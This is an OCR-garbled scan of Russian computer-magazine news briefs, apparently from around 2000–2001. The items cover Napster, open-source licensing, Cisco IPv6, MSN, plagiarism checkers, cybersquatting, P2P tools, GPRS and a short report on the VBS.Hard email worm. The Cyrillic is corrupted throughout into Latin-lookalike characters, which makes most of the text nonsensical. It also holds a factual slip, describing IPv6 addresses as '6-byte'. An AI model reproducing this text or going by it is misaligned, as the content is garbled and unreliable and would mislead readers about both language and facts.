no/ib 30 BaTe/ib MO>KeT no/iyHMTb b CBoe pacnop/DKeHMe Bno/rne npo- 
cjDeccMOHa/ibHyio cryAmo 3 ByK 03 anMCM. Tax hto nonbiTKM Napster 3a- 
npeTMTb pacnpocTpaHeHMe My 3 biKa/ibHbix cf/aM/iOB Bbir/mAflT KaK 3 aTbi- 
K 3 HMe Abip B n/lOTMHe rOpOlUMHOM. 


Caldera Systems m Nokia 

OTKpbITbie KOflbl — 
AMCKyccMfl npoflo/DKaeTCfl 

Heo>KMAaHHyio noAAep/KKy no/iyHM/ia Kop- 
nopaumi Microsoft «M3 CTaHa Bpara», to 
ecTb Linux-coo6iAecTBa. KaK OKa3a/iocb, 
yc/iOBM/i YHMBepca/ibHOM obiAecTBeHHOM 
/iMAeH3MM GNU He ycrpaMBaiOT He TO/ibKO 
KOMaHAy BM/i/ia TeMTca. TaK, Mcno/iHMTe/ib- 
Hbiii A^peKTop KOMnaHMM Caldera Systems 

P3HC0M JlaB 3a/lBM/l, HTO C HeKOTOpbIMM \/T- 
Bep>KAGHM/iMM Microsoft He/ib3/i He coma- 
CMTbc/i. Ec/im ynecTb, hto 60/ibiuMHCTBO 
nporpaMMHoro obecneneHM/i, pa3pa6aTbi- 
BaeMoro «coo6iAecTBOM OTKpbiTbix mcxoa- 
hmkob», Aa m caM Linux pacnpocrpaHmoT- 
Cf\ MMeHHO Ha yc/iOBM/ix GNU, to 3a/iB/ie- 
HMe 3T0 Bbir/lflAMT HeCKO/lbKO CTpaHHO. 
no c/iOBaM PaHcoMa /laBa, yc/iOBM/i Yhm- 
BepCa/lbHOM OTKpbITOM /1MI46H3MM He nOA- 
xoa/it pj\n KOMMepnecKoro Mcno/ib30Ba- 
HM/1, HeM M B0Cn0/lb30Ba/lMCb npOTMBHMKM 
MAeO/lOTMM OTKpbiTbix KOAOB. 

B CB/13M c 3 tmm Caldera Systems paccMaT- 
pMBaeT Bepo/iTHocTb nepexoAa Ha ziMueH- 
3MK) BSD, KOTOpafl AaeT B03M0)KH0CTb co- 
3A3HM/1 KOMMepneCKMX npOAyKTOB C 3a- 
KpblTblMM MCXOAHbIMM K0A3MM. 

OaHMM >Ke M3 OCHOBHbIX yC/lOBMM /I M Ae H - 
3 mm GNU jiB/i/ieTC/i npeAOCTaB/ieHMe no/ib- 
30BaTe/i/iM McxoAHbix koaob nporpaMM M 
npaBO BecTM codcTBeHHbie pa3pa6oTKM Ha 
MX OCHOBe. 

TeM He MeHee BeAGHMeM pa3pa6oTOK c mc- 
n0/lb30BaHMeM OTKpbiTbix MCXOAHbIX KOAOB 
no/ib3yK)TCfl MHorne 4)MpMbi. TaK, HeAaBHO 
KOMnaHM/i Nokia o6~bf\Bma 0 co3 A3 hmm 
coBMecTHo c cfiMpMOM CollabNet c/iy>K6bi 
OST Developer Network. Ochobhom 3 aAa- 
neti hobom c/iy>K6bi ao/dkho CTaTb npMB/ie- 
neHMe pa3pa6oTHMKOB f\ns\ co3AaHM/i pa3- 
H006pa3HblX MrpOBblX yCTpOMCTB AAfl ce- 
MeMHoro npMMeHeHM/i. BecTMCb stm pa6o- 
Tbl 6yAyT C MCn0/lb30BaHMeM OTKpbiTbix KO- 
AOB. OST Developer Network AO/i>KHa 6y- 
AeT npeAOCTaBMTb b pacnop/DKeHMe cne- 
AMa/iMCTOB koah, npMMepbi nporpaMM m 
bcio Heo6xoAMMyio AOKyMeHTauMio. 

ElAe OAHMM MHTepeCHbIM MOMeHTOM flB/lfl- 
eTC /1 TOT (j/aKT, HTO OCHOBOM A^^ MHOTMX 
pa 3 pa 6 oTOK ao/okhw 6 yAyT CTaTb TexHo/ 10 - 
tmm m MeTOAbi Mozilla, Linux m Xfree86. 

Bee 3 tm coo6iAeHM/i roBop/iT 0 tom, hto 
BeAeHMe pa3pa6oTOK no MeTOAy «OTKpbi- 
TblM MCXOAHbIM KOA» CTaHOBMTCJl KOMMep- 
HeCKM BblTOAHblM, n03B0/l/l/l npMB/ieKaTb 
LUMpOKMM Kpyr pa3pa60THMK0B. 


FA3ETA Wri 



ApXMB AOKyMeHTOB M nOCTaHOB/ieHMM 

Bee 0 cjjMHaHcax 

3 /ieKTpoHHoe M 3 AaTe/ibCTB 0 «PaBHOBe- 
CMe-MeAMa» m AreHTCTBO no pa 3 pa 6 oT- 
Ke 6M3Hec-TexHO/iorMM (APBT) noAro- 
T0BM/1M llieCTOM BbinyCK KOMnaKT-AMCKa 
«(|)MHaHC0Ba/i ra3eTa — CD». flMCK co- 
Aep>KMT Bee nyb/iMKauMM «(|)MHaHCOBOM 
ra3eTbi» m «(t)MHaHCOBon ra3eTbi. PerM- 
OHa/ibHbm BbinycK» 3 a nepnoA c 1994 
no 2000 roA m BK/uonaeT b ce6/i b 06- 
lAeM C/IO/KHOCTM CBbILUe 16 Tbl C 53 H CTa- 
Ten: 3 aKOHbi, nocTaHOB/ieHM/i npaBM- 
Te/lbCTBa, HOpMaTMBHbie AOKyMeHTbl 

MHC, TTK, MnHcfinHa, LleHTpo6aHKa, a 

T 3 K)Ke KOMMeHTapMM CneUMa/lMCTOB, co- 
BeTbi no BeAGHMio 6yxra/iTepcKoro yne- 
Ta m MHoro Apyroe. Ctomt TaKOM auck 
400 py6/ieM. 
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NEWS internet 


SIM-6poy3ep 

MTC He ocTaHOBMJiCfi Ha WAP 

BHyujme/ibHbm cneKTp yc/iyr, KaK to no/iyneHMe mh- 
(fDopMauMM o /lMueBOM cneTe, nporH03bi noroflbi, CBe- 
>KMe HOBOCTM, M06l/IJlbHblM 6aHXMHT, «>Xe/lTbie CTpaHM- 
i4bi» m flOdyn k pa3/iMHHbiM 6a3aM flaHHbix, ct3hobmt- 
Cf\ flOdynHbiM npM Mcno/ib30BaHMM SIM-6poy3epa. 
flocryn k pecypcaM l/lmepHeia nepe3 SIM-6poy3ep 
oinnnaeTCfl ot noflo6HOM yc/iyrM Ha ocHOBe WAP-npo- 
TOKOJia TeM, HTO SIM-6pOy3ep 3HaHMTe/lbHO OnTMMM3M- 
pyeT ceaHc pa6oibi. l/lcno/ib3y53 SIM-6poy3ep, a6oHeHT 
MTC MO>KeT coxpaHmb Ha CBoeu SIM-xapTe cneuMa/ib- 
Hbie ccbijiKM, KOTopbie no3BO/ui tOT no/iyHMTb AOdyn k 
Hy>KHbiM flaHHbiM Hanp^Myx) nepe3 MeHto Te/iecfDOHa, a 
He nepe3 CMCTeMy xaTa/ioroB WAP-cama. ripn t3kom 
noflxo,qe k opMeHTMpoBaHmo b 1/lHTepHeie He npMflei- 
C53 n^aTMTb 3a a^upHoe BpeMA b npouecce HTeH m mjim 
Ha6opa TeKda 3/iexTpoHHoro nncbMa. Ceunac xoMna- 
HMA MTC pa6oiaeT Hafl co3flaHneM pyifla yc/iyr, koto- 
pbie 6yflyT AOCTynHbi a6oHeHTaM ripn Mcno/ib30BaHMM 
SIM-6pay3epa. 

DSL-TexHO/iorHM 

«ToMKa Py» Hcno^b3yeT 
o6opyflOBaHiie Lucent 

Lucent noflnncajia KOHTpaKT Ha nociaBKy DSL-o6opyflO- 
BaHMfl c MTTC p,nn 3aBepweHMfl noc/ieflHero 3Tana npoex- 
Ta «Tonxa Py». ComacHo ycnoBMAM comaweHMfl, Lucent 
6yflei ydaHOB^eHO 80 DSL-xoHAeHTpampoB Ha mocxob- 
cxmx ATC. B more b «Tonxe» 6yflei 3afleMCTBOBaHO no- 
p^Axa 200 Te/iecfDOHHbix craHAMM. fla/ibHeMwee pa3Bmne 
CBoeii cem LUMpoxono/iocHOM nepeflanM flaHHbix cxopee 
Bcero 6yflei nponcxoflMTb Ha ocHOBe obopyAOBaHMA 
Cisco Systems. 



Web-pecypc 

riflTb KH/1o6aMT Ha 
nopHocairr 

Bo/iee TbicflHM pa6oi 6bmo BbiciaB/ieHo Ha xoh- 
Kypce camoB, pa3Mep KOTopbix BMecre co BceMM 
CKpHmaMM m M3o6pa>KeHMflMM He AO/i>KeH npe- 
BbiiuaTb 5 K6am. Ilo moraM KOHKypca jiynweM 
6bma npn3HaHa paboTa Cnoapia BaTTep^M/ibAa 
— PixxxeLChix. Ero cam cra/i caMbiM Ma/ieHbXMM 
nopHocaMTOM b 1/lHTepHeie. YMeiAaflCb b 5120 
bam, pecypc ob/iaAaeT BceMM npMcyiAMMM pe- 
cypcy nofloOHoro pofla aTpubyraMM! 

IP-aApecauMA 

6-6aMTOBan 3anncb bmccto 
4-6aiiTOBOM 

Cisco Systems HannHaeT Bbinycx nporpaMMHoro 
obecneneHna, noflflepwMBaiomero hobum CTaH- 
AapT IP-aflpecauMM, ocHOBaHHbm Ha b-bamoBon 
3anMcn aflpeca. B TeneHMe Tpex noc/ieAHMx jieT 
KOMnaHMfl 3aHMMaAaCb pa3pa60TK0M HOBbIX CT3H- 
AapmB npMCBoeHMji IP-aflpecoB p,nf\ ycrpoMCTB, 
noflK/noHeHHbix k 1/lHTepHeiy. 0>XMAaeTCfl, hto 
I nternet Protocol version 6 6yflei wupoxo npmvie- 
HflTbCfl B bjlMWaMWMe HeCXOJlbXO JieT. npeflBeCT- 
hmkom pa3pa6oTKM HOBoro CTaHflapTa cra.no Hey- 
k/iohho coKpaiuaioiAeecfl hmcjio 4-bamoBbix IP- 
aflpecoB. OneBMAHO, hto npM nepexoAe Ha b-bau- 
TOByio (jDopMy 3anncn hmcao CBo6oAHbix IP-aApe- 
cob cymecTBeHHo yBe/iMHHTC^i. Cxopee Bcero, oc- 
BoeHMe HOBoro CTaHAapTa HaHHeTCA y>xe b c^eAy- 
toiAeM roAy. KoMnaHmi Cisco BbinycxaeT onepaun- 
OHHyio CMCTeMy Internetworking Operating 
System, noAAep>KMBaK)iAyK) HOBbm CTaHAapT. Ilo- 
mmmo AeflTe/ibHocTM no pa3pa6oTKe, Cisco opra- 
HM3yeT yneOHbie xypcbi m KOHca/iTMHroByto noA- 
Aep>KKy A-nfl kamchtob, >xe/iaK)iAMx ncnoAb30BaTb 
HOBbIM CTaHAapT. 


Messengers 

OHnaiiHOBbie cepBwcbi MSN 
iicnonb3yiOT 6onee 100 mbh 
ne/iOBeK 

KorAa-m Hotmail 6bma oahom m3 nepBbix noHTOBbix cm- 
CTeM, npeAOCTaBAJiioiAMx AOCTyn k 3/ieKTpoHHOM noHTe 
nepe3 web-MHTep(}DeMc. Ha ceroAHJUiiHMM AeHb caMbie 
nonyn^pHbie M3 MSN-pecypcoB — noHTOBafl cny>K6a 
Hotmail m MSN Messenger. HeAaBHO MSN coo6iAnna, hto 
KO/ iMHecTBO nonb30BaTeneM mx oHnaiiHOBbix cepBMcoB 
npeBbicn.no 100 mah nenoBex. TaxMM o6pa30M, bo mho- 
tmx CTpaHax, TaxMx xax Abctpma, BenMxo6pMTaHMfl, 
OpaHAMji m 51noHMfl, MSN Messenger no HMC/iy nonb30Ba- 
Teneu y>xe o6oiuen MHTepHeT-neMA>xepbi ICQ m AIM. 
Microsoft HacTpoeHa b cxopoM BpeMeHM noxopMTb pbi- 
hox IM b CUJA. 


On-line test 

Bbi6epme Bora h HawMMTe OK 

1/lHTepecHbiM cnoco6 BbiOopa xoHc^eccMM npeA/iaraeT 
caMT http://www.beliefnet.com. C noMOiAbX) aneMeH- 
TapHOM aHxeTbi, cocTO^iAeM M3 20 BonpocoB, nonb30Ba- 
Tenb npoxoAMT TecTMpoBaHMe m no^ynaeT pexoMeHAa- 
AMX), bo hto m/im b xoro eMy npeAnoHTMTe/ibHee BepMTb. 
Bbi6op A0CT3T0HH0 iiJMpox: Ha caMTe npeACTaB^eHo 
27 MMpOBbIX pe/lMTMM, CpeAM XOTOpbIX eCTb M 6nM3XMe 
MrpoBOMy MMpy AM6epanbHbie XBaxepbi. HecMOTp^ Ha 
HecoBepnieHCTBO pe3yAbTaTOB TecmpoBaHMfl, pecypc 
nonb3yeTCfl OonbiiJOM nonyn^pHOCTbX): b nepBbie a hm 
ero cymecTBOBaHMA aHxeTy 3ano/iHM/iM 6onee 15 Tbiom 
nenoBex. 
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Napster 

A Hancrepy Bee xywe... 

OKOHHaie/ibHO norpfl3wafl b /ima6H3mohhom 3aKO- 
HOflaie^bCTBe KOMnaHMfl Napster peuiM/ia b noMc- 
Kax 3ammbi o6paTmbCfl k Microsoft. K)pncTbi no- 
cneflHeM y>Ke AOKa3a/iM, hto Aawe aMepm<aHCKoe 
MOHono^bHoe npaBO flonycKaeT HeoAH03HanHbie 
TpaKTOBKM. BnponeM, npocnaBMBWMecfl «nnpaTbi» 
He 6yflyT 6ojibwe 3aiAMLAaTboi b cyfle. OrpaHMne- 
HMfl, Ha^O>KeHHbie My3blKa/lbHOM MHflycipneM, He 
no3BO/ifliOT nony/mpHOMy cepBMcy npaBM/ibHO 
cfjyHKUMOHi/ipoBaTb, m Tenepb 3aflana Napster cbo- 
AMtca k noMCKy 6e3onacHoro m abco/noTHO Jie- 
ra/ibHoro cpefldBa p,nt\ pacnpocrpaHeHMA My3biKM 
nepe3 1/lHTepHeT. 1/lHTepecHo, hto Microsoft — 
Aa/ieKO He nepBbm npoM3BOAMTe/ib no, KOTopbm 
AO/i>KeH 6b m 6bi obecnenMTb Napster HaAGJKHyto 
lopMAMHecKyio noAAep>KKy. KoMnaHMA ywe mc- 
no.nb30Ba.na TexHo/iorMM oiGracenote m ReLatabLe 
AJifl Toro, HTo6bi yAa/iMTb MaTepMa/ibi, Ha KOTopbie 
6bmn 3aflB/ieHbi aBTopcKMe npaBa, OAHaKO stm 
cjDM/ibipbi, no MHeHMio npaBoo6.naAaTe.neM, 0Ka3a- 
JlMCb He3(}KfDeKTMBHblMM. 

HaAe>KAa, B03/iaraeMafl Napster Ha 
Microsoft, pacnpocTpaHaeTOi He mnbKO Ha jim- 
ueH3npoBaHne 4)M/ibTpauMOHHoro no. OTnaflB- 
weecfl pyKOBOACTBO KOMnaHMM npeA-nowM/io 
cocfiTBepHOMy rMraHTy Kynmb bcio c/iy>K6y, ho b 
Microsoft ot npeA/ioweHMfl Ae/iMKaTHo OTKa3a- 
ziMCb. BnponeM, roBopmb o tom, hto Napster b 
pe3y/ibraTe cyqe6Hbix npecneAOBaHMM CTa/i Me- 
Hee npMBjieKaTe/ieH, eiue paHo. PeweHMe o ne- 
peroBopax 6bmo npMHATO He c/iynaMHO, BeAb 
noAnMCHbie cepBMCbi no pacnpocrpaHeHmo My- 
3biKM b CeTM ecTb y Yahoo, America Online m 
RealNetworks. He MCKmoneHo, hto Microsoft Bee 
>Ke KynMT Napster, m TorAa M3Hana/ibHO «nnpaT- 
CKaa» CMCTeMa obMeHa (fiaM/iaMM npeBpaTMTCJi b 
KOMMepnecKyio. Eiue oahom MAeeM 6ecn/iaTHoro 
KOHTeHTa b 1/lHTepHeTe CTaHeT MeHbiue. 



http://www.turnitin.com/ 

n^amaT He npoMAei! 

MHcfiopMauMOHHbm Bex npeA/iaraeT nerKMe nyTM b HanMcaHMM Kypco- 
Bbix m Ann/iOMOB. HepaAHBbie CTyAeHTbi He yTpy>KAaiOT ce 6 fl HTeHMeM 
khmt mjim Aa>Ke nepepa 6 oTKOM KOHTpo/ibHbix, CAe/iaHHbix Apy3bflMM, a 
3axoA^T Ha HecKO/ibKO caMTOB m CAaiOT npenoAaBaTe/iflM KOMnM/m- 
AMK), a MHorAa m no/iHbie KonMM MaTepMa/iOB. HanpMMep, caMT 
http://www.schoolsucks.com npeA/iaraeT peiueHHbie Ha «otjimhho» 
KOHTponbHbie paboTbi m AOK/iaAbi Ha 6 o/iee neM 25 Tbic^H TeM. Crpa- 
HMua KOHTpo/ibHOM ctomt 8 AO/i/iapoB, crpaHMija AOK/iaAa — 35. Ha- 
P^Ay c HMCTO CeTeBbIMM peCypeaMM y CTyAeHTOB eCTb B03M0>KH0CTb 
npno 6 pecTM cneuMa/ibHbie pyKOBOACTBa, rAe HaxoAflTCfl OTBeTbi Ha 
Bee TecTbi. KoHTpa 6 aHAHbie npoAyKTbi npoM3BOAflTOi no bmaom TeT- 
paAeii m pacnpocTpaHjuoTCJi cryAeHTaMM, ywe npoweAWMMM 3K3aMe- 
Hbi. Cto/i KHyB in i/iecji co c/iynaaMM MaccoBoro n/iamaTa aMepMKaHCKMe 
yne 6 Hbie 3aBeAeHMfl pewM/iM AaTb cepbe3Hbm OTnop mo 6 nTe^AM cxe- 
Mbi «KonMpoBaTb-BCTaBMTb». Ilocne Toro, KaK b YHMBepcMTeTe uiTaTa 
Bnp>KMHMfl 122 CTyAeHTa 6 bmn 3anoA03peHbi b ncno^b30BaHHM «Ma- 
Tepna^OB l/lHTepHeTa» npw noAroTOBKe 33AaHMM, npocfieccop /lync 
B^yMcfie^bA p,nn noMCKa >Ky^MKOB Hannca/i cneunanbHyio nporpaMMy 
o6Hapy>KeHMji OAHHaKOBbix cfDpa3, coctojuamx m 3 noc^eAOBaTe^bHoc- 
tm b mecTb m 6 onee cnoB. «HoBbie TexHo^ornn — nanxa o AByx koh- 
uax, — CHMTaeT B/iyMcjoe/i bA- — Kohchho, cewnac Jierne 3 aHMMaTbc^ 
n^arwaTOM, ho m Jierne OTC/ie>KMBaTb /i io 6 bie nonbiTKM coApaTb OTHeT 
min KOHTpo/ibHyto». llpMMepy HaxoAHMBoro npocfieccopa nocneAOBa- 
n m ApyrHe ynebHbie 3 aBeAeHM^ CLUA. riporpaMMa A/iexca 3iiKeHa M 3 
YHMBepcMTeTa Ka^McJiopHMM BepmiM, HanpMMep, 6 epeT nonHbm koh- 
Tpo/ib HaA onepauMOHHOM CMCTeMOM, kotas CTyAeHT npoxoAMT TecTM- 
poBaHMe. Bo BpeMfl BbinonHeHMfl paboTbi 6 ^ 0 KnpyeTC^ AOCTyn k Mh- 
TepHeTy m noKa^bHoii ceTM, Tax hto AononHMTe^bHyio MHcfiopMaumo 
nonyHMTb npocTO HeoTKyAa. 

Bo^bujou nonyn^pHOCTbio cpeAH npenoAaBaTenbCKoro cocTaBa 
no^b3yeTC^i T3K>Ke pecypc http://www.turnitin.com. CaMT no3BO^fl- 
eT BHecTM b paboTy CTyAeHTa yHMKanbHyio UMcfipoByio noAnucb, a 
3aTeM noMCKaTb b 1/lHTepHeTe 6a3e AaHHbix noxo>KMe TeKCTbi. 
CaiiT aBTOMaTMHecKM BbiAen^eT noxo}KMe cJopa3bi m BCTaB/i^eT ru- 
nepccbuiKM Ha ncno^b30BaHHbie b pa6oTe pecypcbi. HexoTopbie 
npenoAaBaTenu, BnponeM, He cni/iTatOT, hto c noAonenHbiMM Hy>KHO 
BecTM Kn6epB0MHbi. ripoc^eccop M3 YHMBepcMTeTa PyTrepca flo- 
Ha^bA MaKKeMb npoBen onpoc, b pe3ynbTaTe KOToporo BbmcHM^ocb, 
HTO 6o/lbUJMHCTBO CTyAeHTOB He npMA3IOT 3HaneHMfl peilJeHMJlM, pa3- 
MeiueHHbiM b CeTM. A ero Konnera c (JiaKyjibTeTa 3tmkm 6onee ^M6e- 
pa^eH: «HaAO noBbicMTb co3HaTe^bHocTb CTyAeHTOB — m ohm Bee 
CAe^aiOT C3MM». 


Ku6epCKB0TTepCTB0 

Eopb6a A>KOHa UyKKapiiHH 
3a noceiuaeMOCTb 

no HeKOTOpbIM OUeHKaM, fl>KOH OyKKapMHM 
3apa6oTan Ha ny>KMx MMeHax ao MM/uiMOHa 
AO^^apoB. Ha ero cneTy TbicjiHM caiiTOB, MMe- 
I01AMX MMeHa, C03ByHHbie MMeH3M 3H3MeHMT0- 
CTeM, HanpMMep rikymartin.com mjim 
britineyspears.com. npM nonaAaHMM Ha Ta- 
kom caMTy no^b30BaTe^fl aBTOMaTMHecKM ot- 
KpbmaeTCfl BoceMb Aono/iHMTe/ibHbix okoh 
6poy3epa, npnneM npM 3aKpbiTMM oahmx m3 
hmx 3arpy>KaiOTCJi Apyrne. HeAaBHO A>koh 
npoMrpan Ae/io aMepMKaHCKOMy aKTepy Ke- 
BMHy CneMCM: Me>KAyHapoAHbiM ap6MTpa>K- 
HbiM (fiopyM npM3Ha n OyKKapMHM KM6ep- 
CKBOTTepoM m nocTaHOBM/i, hto aApec 
kevinspacy.com ao/dkch 6biTb B03BpameH 
aKTepy. CnopHbm aApec no cyTM He MMen c 
aKTepoM HMnero o6iAero, Aa>Ke ero 
no-aHr/iMMCKM nMiueTC^ KaK Spacey. lOpMCTbi, 
npeACTaB/mioLAMe aKTepa, yTBep>KAa/iM, hto 
L lyKKapMHM paccHMTbiBa/i Ha cnynaMHbie one- 
naTKM no/ib30BaTe/ieM, KOTopbie MiAyT caiiT 
aKTepa. 3Ta pa3H0BMAH0CTb KM6epcKB0TTep- 
CTBa Ha3blBaeTCJl «TaMnOCKBOTTMHr», M B no- 
c^eAHee BpeMA 0Ha npMobpena aoct3tohho 
6o^biuyK) nony/mpHOCTb. 
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NEWS internet 


iMulet 

P2P a nn npocJjeccuoHa/iOB m 
/iK>6me/ien 

Tenepb ji io6om >Ke.naiOLflM m MO>KeT nonpo6oBaTb 
ce6fl b pa3pa6oTKe peer-to-peer npM/ioweHMM, 
noflo6Hbix Napster mjim GnuteUa, npuneM, mc- 
no/ib3yfl XML-A3biK, HanucaTb HOByio nporpaM- 
My Tenepb He c/io>KHee neM cfle/iaTb HTML- 
cipaHMHKy. 3iy B03M0>KH0CTb noflapu/ia BceM 
>Ke/iaK)mM m aMepmoHCKaa KOMnaHMM 
iMuLet.com. BnponeM, HecMOTpa Ha aMepM KaH- 
CKoe nponcxo)KfleHMe KOMnaHMM, MfleM, ziewa- 
iflMe b ocHOBe ee npoflyKTOB, 6buiM pa3pa6oia- 
Hbi b Poccmm, b Mry. Ha caMTe KOMnaHMM 
http://www.imuLet.com mo>kho CKanaTb fle- 
MOHCTpauMOHHyio Bepcmo 
nporpaMMbi iMuLet 
Communicator. flaHHaa npo- 
rpaMMa npn3BaHa npofleMOH- 

CTpMpOBaTb B03M05KH0CTM 

ochobhoto npoflyKTa KOMna- 
HMM — i M u Let PLatform. 

CMCTeMa COCTOMT M3 MMK- 
pojlflpa M 0K0J10 cothm He- 
bo/ibiuMx MOfly/ieM, KOTopbie 
nocpeflCTBOM onMcaHMji Ha 
XML MoryT 6biTb CKOMnoHO- 
BaHbi b o6bHHyio nporpaMMy, 
ann/ieT mjim BdpoeHbi b 
3/ieKTpOH HOe nMCbMO. Mo>k- 
HO B351Tb MOfly/lb BMfleO, MO- 
fly/lb OTnpaBKM MTHOBeHHblX 
coo6iueHMM m MOfly/ib o6Me- 
Ha (fian/iaMM c pacnpefle/ieH- 
HblM nOMCKOM M no/iyHMTb 
CMdeMy BMfleoHaTOB c napa/i/ie/ibHOM bo3mo>k- 
HocTbio o6MeHa (fiaM/iaMM /uo6oro TMna. 
HeflaBHo KOMnaHMA iMuLet.com oGtABM/ia o 
CBoeii noflflep>KKe peer-to-peer njiaTcjjopMbi 
Jxta npoM3BOflCTBa Sun Microsystems m npofle- 
MOHCTpupoBa^a pa6oiaioiMyK) Bepcuio CBoero 
npoflyKTa i M u Let Communicator, coBMecTMMoro 
C HOBbIM npOTOKO/lOM. 




»Jcl *1 



Hnwi VfYt'NM Sh n 

1 1 _ Viewer 

\Qwar*Hr Chart . 

ifc* It a r B ^ A 

Vr/ninonoiirti 


HTTP 

HarpaAa Haiu/ia repoa 

Co3flaTe/ib npoTOKO/ia nepeflaHM runepTeKCTa 
(HTTP) Tmm BepHepc-/lM HaKOHefl-TO no/iyHM/i 
Bbicujyio Harpafly 3a pa3pa6oTKy «peBO/noflM- 
OHHoro npoTOKO/ia A/153 coeflMHeHMfl no I/I h- 
TepHeiy m yHMBepca/ibHoro flocryna k mh- 
(fiopMauMM, pa3MemeHH0M b Mmpobom ceTM». 
Kopo/ieBCKoe HayHHoe obiflecTBO Be/iMKo6pM- 
T3HMM pa3peiUM^0 npM3H3HH0My OTfly-OCHO- 
Baie/iio 1/lHTepHeia BcrynMTb b cbom pjiflbi. 
HayHHbm MHCTMTyT, o6‘beflMH5UoiMMM yneHbix m 
M cc/ieflOBaTe/ieM MewflyHapoflHoro MacwTaba 
y>xe 360 jieT, OT/iMHaeTCn He6biBa/ioM KOHcep- 
BaTMBHOCTbtO, M TO/lbKO CMeHa flMpeKTopa 
no3BO/iM/ia M3o6peiaie^io no/iyHMTb flo/iro- 
>KflaHHoe npM3H3HMe. CnycTJi noHTM flBaflflaTb 
/ieT Be/iMHaMLUMe yMbi 33MeTM/iM, hto CeTb ,qo- 
poc/ia flo HacT05Uuero OTKpbiTMfl. 


Microsoft 

WebTV CTaHeT MSNTV 

HeflaBHo Becb ynpaB/miOLflMM cociaB WebTV 
6bi/i nepeBefleH b noflHMHeHMe MSN, m 06- 
pa30BaBiueec5i b pe3y/ibTaTe noflpa3fle/ie- 
HMe hocmt Ha3B3HMe MSNTV. KpoMe toto, 
HexoTopbie pyKOBOflMTe/iM Microsoft y>Ke 
Ha3biBaiOT Te/ieBM3MOHHoe HanpaB^eHMe 

flejue^bHOCTM KOMnaHMM MMeHHO MSNTV. 

CKOpee BCerO, KOpHM TaKOM nOJIMTMKM KOM- 
naHMM KpOIOTCJl B HeraTMBHOM OTHOliieHMM 
obmecTBeH hoctm k c/iywOe WebTV, KOTopaa, 
byflyHM npefldaB/ieHHOM b 1996 rofly, Tax m 
H e no/iyHM/ia iiJMpoKoro pacnpocrpaHeHMa. 
CeMHac Microsoft yfle/meT MaKCM MyM bhm- 
MaHMji npoeKTy UnLimateTV — UMcfipoBOMy 
Te/ieBMfleHMio c bo3mo>khoct5imm flociyna k 
MHT epHeiy m 3anMCM nporpaMM b flMcfjpoBOM 
4iopMaTe. ■ 1 
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PetjjepeHflyM on-line 

BiipTya^bHbie Bbi6opbi 

pea/ibHoro 

npaBme/ibCTBa 

no oueHKaM cneuManMCTOB KOMnaHMM 
Forrester Research, obiuecTBeHHOCTb Bpn- 
T3HMM npaKTMHeCKM TOTOBa K B3aMM0fleM- 
ctbmk) c rocyflapcTBOM nocpeflCTBOM I/Ih- 
TepHeTa. Bbixofl b CeTb b HacTOJUflee Bpe- 
M53 MMeiOT 40% OpMTaHfleB, a Ka>KflblM n53- 
TbiM comaceH OTflaTb cbom ronoc Ha Bbi6o- 
pax rocyflapcTBeHHoro MaciUTaba nepe3 
on-Line Bbi6opbi, Beflb 25% rpa>KflaH, He 
npMHflBLUMx ynacTMji b noc^eflHMx 
ronocoBaHMjix, He Cfle/ia/iM stoto M3-3a 
HeyflobcTBa M36MpaTe/ibHbix ynacTKOB m^m 
H eXBaTKM BpeMeHM. 


VBS.Hard 

C03AdTe/1M nOMTOBbIX 
BMpycoB He nuxyj hobbix 
noflxoflOB 

riojiBneHMe hoboto noHTOBoro BMpyca 
VBS.Hard 6bmo 3a4iMKCMpoBaHo /labopa- 
TopneM KacnepcKoro. Kax m Oo/ibiuMHCT- 
bo noflo6Hbix BMpycoB, oh paccbmaeT ce- 
6 a c 3apa>KeHHoro KOMnbiOTepa no aflpe- 
caM, xpaHjuflM MC5i b aflpecHOM KHMre 
OutLook. B pe3y/ibTaTe 3apa>KeHHbiM kom- 
nbioTep paccbmaeT cmnbKO 3apa>KeHHbix 
nnceM, cKonbKO aflpecoB MMeeTCJi b ero 
aflpecHOM KHMre. HepBb HanMcaH Ha 
CKpMnT-5i3biKe VisuaL Basic Script (VBS) m 
3anycKaeTC5i mnbKO b onepaflMOHHbix cm- 
CTeMax c ycTaHOB/ieHHbiM Windows 
Scripting Host (WSH — b Windows 
98/2000 oh ycraHOB/ieH no yMonnaHMio). 
riMCbMO MMeeT 3aronoBOK: «FW: 

Symantec Anti-Virus Warning». 
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NEWS communications 


GPRS b Poccmm 

«Pa3orHaHHbie» 
COTOBbie Te/iec|30Hbi 

KoMnaHMA Motorola 3aBepiuM/ia cep- 
TM(jDm4i/ipoBaHne KOMruieKCHbix pewe- 
hmm Rj\n nodpoeHmi ceTeM 
GSM/GPRS. KpoMe o6opyflOBaHmi 
A/ifl nodpoeHHji ceiew GSM/GPRS, 
npow/iM cepTM(}DM KauM to m nepBbie 
TepMMHa/ibi GSM/GPRS ot Motorola. 
llepBafl ceib co3flaHa KOMnaHMeM b 
coTpyflHMHecTBe c OAO «MTC». CaMbiM 
maBHbiM npeMMymecTBOM hoboto 
CTaHflapia /iB/meTC/i ropa3flo 6o/iee 
BbicoKan CKopodb nepeAanM flaH- 
HblX: B 06 blHH 0 M ceTM OHa COCTaB/lfl- 

eT Bcero 9600 6 mt/c, b to BpeM/i KaK 
HOBbm CTaHflapT no3BO/im nepecbi- 
jiaTb AaHHbie co CKopocTbio 
34 K6 mt/c. IHocne 3anycKa nepBOM 
ceTM GSM/GPRS a6oHembi no/iynaT 
B03M0>KH0CTb 6e3 fl03B0Ha flo npo- 
BaMflepa mjim cneuMa/ibHoro cepBepa 
no/iyHMTb nocTOJiHHbiM 6ecnpoBOfl- 
hom Aocryn k pecypcaM MHTepHeia. 
>KAaTb oda/iocb HeAO/iro. 


VDSL — HOBaji TexHO/iormi 

ByflymwM KOHKypeHT 
Ka6e/ibHoro 

Te/ieBMfleHMfl 

Qwest Communications International 
Inc. noc/ie ycneiuHbix McnbiTaHMM ho- 
BOM TeXHO/lOTMM VDSL (BblCOKOCKOpO- 
dHan nepeAana AaHHbix no BbiAe/ieH- 
HbiM uucjDpoBbiM /imhmam) Hana/ia 
npeA/iaraib HOByio yc/iyry — Te/ieBM- 
AeHue no oObHHbiM Te/iecfDOHHbiM jimhm- 
am. y>Ke nacTb fleHBepa MoweT boc- 
no^b30BaTbcn yc/iyroM, ho b n/iaHax 
KOMnaHMM co3AaHne ceTM b Aec/iTM 
KpynHbix ropoAax CLUA y>Ke k KOHuy ro- 
Aa. MeHee neM 3a $40 aOoHeHT MoweT 
no/iynaTb 6o/iee 180 Te/ieKaHa/iOB. 

